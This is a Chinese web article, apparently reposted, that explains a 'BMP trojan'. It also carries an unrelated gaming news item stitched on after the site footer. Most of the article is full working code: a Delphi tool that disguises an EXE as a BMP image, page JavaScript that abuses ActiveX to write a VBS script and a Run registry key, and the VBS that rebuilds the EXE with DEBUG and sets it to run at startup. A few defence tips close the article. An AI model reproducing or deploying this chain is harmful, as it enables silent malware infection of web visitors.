首先说明这不是什么新的东西,但最近有人说我们没有,那就随便写编文章放上来了,大家自己试验一下. 何谓BMP网页木马?它和过去早就用臭了的MIME头漏洞的木马不同,MIME木马是把一个EXE文件用MIME编码为一个EML(OUT LOOK信件)文件,放到网页上利用IE和OE的编码漏洞实现自动下载和执行. 
然而BMP木马就不同,它把一个EXE文件伪装成一个BMP图片文件,欺骗IE自动下载,再利用网页中的javascript脚本查找客户端的Internet临时文件夹,找到下载后的BMP文件,把它拷贝到TEMP目录.再编写一个脚本把找到的BMP文件用DEBUG还原成EXE,并把它放到注册表启动项中,在下一次开机时执行.但是这种技术只能在9X下发挥作用,对于2K,XP来说是无能为力了. 

看上去好象很复杂,下面我们一步一步来: 
1) EXE变BMP的方法. 
大家自己去查查BMP文件资料就会知道,BMP文件的文件头有54个字节,简单来说里面包含了BMP文件的长宽,位数,文件大小,数据区长度,我们只要在EXE文件的文件头前面添加相应的BMP文件头(当然BMP文件头里面的数据要符合EXE文件的大小啦),这样就可以欺骗IE下载该BMP文件,开始我们用JPG文件做过试验,发现如果文件头不正确的话,IE是不会下载的,转换代码如下: 

program exe2bmp; 

uses 
Windows, 
SysUtils; 

var len,row,col,fs: DWORD; 
buffer: array[0..255]of char; 
fd: WIN32_FIND_DATA; 
h,hw: THandle; 

begin 
if (ParamStr(1)<>) and(ParamStr(2)<>) then begin //如果运行后没有两个参数则退出 
if FileExists(ParamStr(1)) then begin 
FindFirstFile(Pchar(ParamStr(1)),fd); 
fs:=fd.nFileSizeLow; 
col := 4; 
while true do begin 
if (fs mod 12)=0 then begin 
len:=fs; 
end else len:=fs+12-(fs mod 12); 
row := len div col div 3; 
if row>col then begin 
col:=col+4; 
end else Break; 
end; 
FillChar(buffer,256,0); 
{一下为BMP文件头数据} 
Buffer[0]:=B;Buffer[1]:=M; 
PDWORD(@buffer[18])^:=col; 
PDWORD(@buffer[22])^:=row; 
PDWORD(@buffer[34])^:=len; 
PDWORD(@buffer[2])^:=len+54; 
PDWORD(@buffer[10])^:=54; 
PDWORD(@buffer[14])^:=40; 
PWORD(@buffer[26])^:=1; 
PWORD(@buffer[28])^:=24; 
{写入文件} 
hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0); 
h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0); 
WriteFile(hw,buffer,54,col,0); 
repeat 
ReadFile(h,buffer,256,col,0); 
WriteFile(hw,buffer,col,col,0); 
untilcol<>256; 
WriteFile(hw,buffer,len-fs,col,0); 
CloseHandle(h); 
CloseHandle(hw); 
end; 
end; 
end. 


以上代码可以在DELPHI4,5,6中编译 ,就可以得到一个exe2bmp.exe文件.大家打开MSDOS方式,输入 
exe2bmp myexe.exe mybmp.bmp 
回车就可以把第二个参数所指定的EXE文件转换成BMP格式. 
接着就是把这个BMP图片放到网页上了,如果大家打开过这张图片的话,一定发现这张BMP又花,颜色又单调.所以大家放在网页上最好用这样的格式 


以下是放在网页上的脚本 
document.write( ); 
function docsave() 
{ 
a=document.applets[0]; 
a.setCLSID({F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}); 
a.createInstance(); 
wsh=a.GetObject(); 
a.setCLSID({0D43FE01-F093-11CF-8940-00A0C9054228}); 
a.createInstance(); 
fso=a.GetObject(); 
var winsys=fso.GetSpecialFolder(1); 
var vbs=winsys+\\s.vbs; 
wsh.RegWrite 
(HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs,wscript +"+vbs+" ); 
var st=fso.CreateTextFile(vbs,true); 
st.WriteLine(Option Explicit); 
st.WriteLine(Dim FSO,WSH,CACHE,str); 
st.WriteLine(Set FSO = CreateObject("Scripting.FileSystemObject")); 
st.WriteLine(Set WSH = CreateObject("WScript.Shell")); 
st.WriteLine(CACHE=wsh.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellFolders\\Cache")); 
st.WriteLine(wsh.RegDelete("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs")); 
st.WriteLine (wsh.RegWrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\tmp","tmp.exe"); 
st.WriteLine(SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"); 
st.WriteLine(WScript.Quit()); 
st.WriteLine(Function SearchBMPFile(Folder,fname)); 
st.WriteLine( Dim SubFolder,File,Lt,tmp,winsys); 
st.WriteLine( str=FSO.GetParentFolderName(folder) & "\\" & folder.name & "\\" & fname); 
st.WriteLine( if FSO.FileExists(str) then); 
st.WriteLine( tmp=fso.GetSpecialFolder(2) & "\\"); 
st.WriteLine( winsys=fso.GetSpecialFolder(1) & "\\"); 
st.WriteLine( set File=FSO.GetFile(str)); 
st.WriteLine( File.Copy(tmp & "tmp.dat")); 
st.WriteLine( File.Delete); 
st.WriteLine( set Lt=FSO.CreateTextFile(tmp & "tmp.in")); 
st.WriteLine( Lt.WriteLine("rbx")); 
st.WriteLine( Lt.WriteLine("0")); 
st.WriteLine( Lt.WriteLine("rcx")); 
st.WriteLine( Lt.WriteLine("1000")); 
st.WriteLine( Lt.WriteLine("w136")); 
st.WriteLine( Lt.WriteLine("q")); 
st.WriteLine( Lt.Close); 
st.WriteLine( WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp & "tmp.in >" & tmp & "tmp.out",false,6); 
st.WriteLine( On Error Resume Next ); 
st.WriteLine( FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")); 
st.WriteLine( FSO.GetFile(tmp & "tmp.dat").Delete); 
st.WriteLine( FSO.GetFile(tmp & "tmp.in").Delete); 
st.WriteLine( FSO.GetFile(tmp & "tmp.out").Delete); 
st.WriteLine( end if); 
st.WriteLine( If Folder.SubFolders.Count <> 0 Then); 
st.WriteLine( For Each SubFolder In Folder.SubFolders); 
st.WriteLine( SearchBMPFile SubFolder,fname); 
st.WriteLine( Next); 
st.WriteLine( End If); 
st.WriteLine(End Function); 
st.Close(); 
} 
setTimeout(docsave(),1000); 

把该脚本保存为"js.js",在网页中插入: 


该脚本主要会在本地机器的SYSTEM目录下生成一个“S.VBS”文件,该脚本文件会在下次开机时自动运行。主要用于从临时目录中找出mybmp[1].bmp文件。 
“S.VBS”文件主要内容如下: 

Option Explicit 
Dim FSO,WSH,CACHE,str 
Set FSO = CreateObject("Scripting.FileSystemObject") 
Set WSH = CreateObject("WScript.Shell") 
CACHE=wsh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders\Cache") 
wsh.RegDelete("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs") 
wsh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tmp","tmp.exe" 
SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp" 
WScript.Quit() 
Function SearchBMPFile(Folder,fname) 
Dim SubFolder,File,Lt,tmp,winsys 
从临时文件夹中查找目标BMP图片 
str=FSO.GetParentFolderName(folder) & "\" & folder.name & "\" & fname 
if FSO.FileExists(str) then 
tmp=fso.GetSpecialFolder(2) & "\" 
winsys=fso.GetSpecialFolder(1) & "\" 
set File=FSO.GetFile(str) 
File.Copy(tmp & "tmp.dat") 
File.Delete 
生成一个DEBUG脚本 
set Lt=FSO.CreateTextFile(tmp & "tmp.in") 
Lt.WriteLine("rbx") 
Lt.WriteLine("0") 
Lt.WriteLine("rcx") 
下面一行的1000是十六进制,换回十进制是4096(该数字是你的EXE文件的大小) 
Lt.WriteLine("1000") 
Lt.WriteLine("w136") 
Lt.WriteLine("q") 
Lt.Close 
WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp &"tmp.in>" & tmp & "tmp.out",false,6 
On Error Resume Next 
FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe") 
FSO.GetFile(tmp & "tmp.dat").Delete 
FSO.GetFile(tmp & "tmp.in").Delete 
FSO.GetFile(tmp & "tmp.out").Delete 
end if 
If Folder.SubFolders.Count <> 0 Then 
For Each SubFolder In Folder.SubFolders 
SearchBMPFile SubFolder,fname 
Next 
End If 
End Function 

这个脚本会找出在临时文件夹中的bmp文件,并生成一个DEBUG的脚本,运行时会自动从BMP文件54字节处读去你指定大小的数据,并把它保存到tmp.dat中.后面的脚本再把它复制到SYSTEM的目录下.这个被还原的EXE文件会在下次重起的时候运行.这就是BMP木马的基本实现过程. 
详细脚本代码请参考http://hotsky.363.net 

防范方法: 
最简单,删除或改名wscrpit.exe文件和DEBUG 文件; 
安装有效的杀毒软件,因为这些脚本有好多杀毒软件已经可以查出来了. 
在条件允许的情况下,安装WIN2K SP3,尽量避免去一些不名来历的网站. 

标签:
详解BMP木马

免责声明:本站文章均来自网站采集或用户投稿,网站不提供任何软件下载或自行开发的软件! 如有用户或公司发现本站内容信息存在侵权行为,请邮件告知! 858582#qq.com
内蒙古资源网 Copyright www.nmgbbs.com

评论“详解BMP木马”

暂无“详解BMP木马”评论...

稳了!魔兽国服回归的3条重磅消息!官宣时间再确认!

昨天有一位朋友在大神群里分享,自己亚服账号被封号之后居然弹出了国服的封号信息对话框。

这里面让他访问的是一个国服的战网网址,com.cn和后面的zh都非常明白地表明这就是国服战网。

而他在复制这个网址并且进行登录之后,确实是网易的网址,也就是我们熟悉的停服之后国服发布的暴雪游戏产品运营到期开放退款的说明。这是一件比较奇怪的事情,因为以前都没有出现这样的情况,现在突然提示跳转到国服战网的网址,是不是说明了简体中文客户端已经开始进行更新了呢?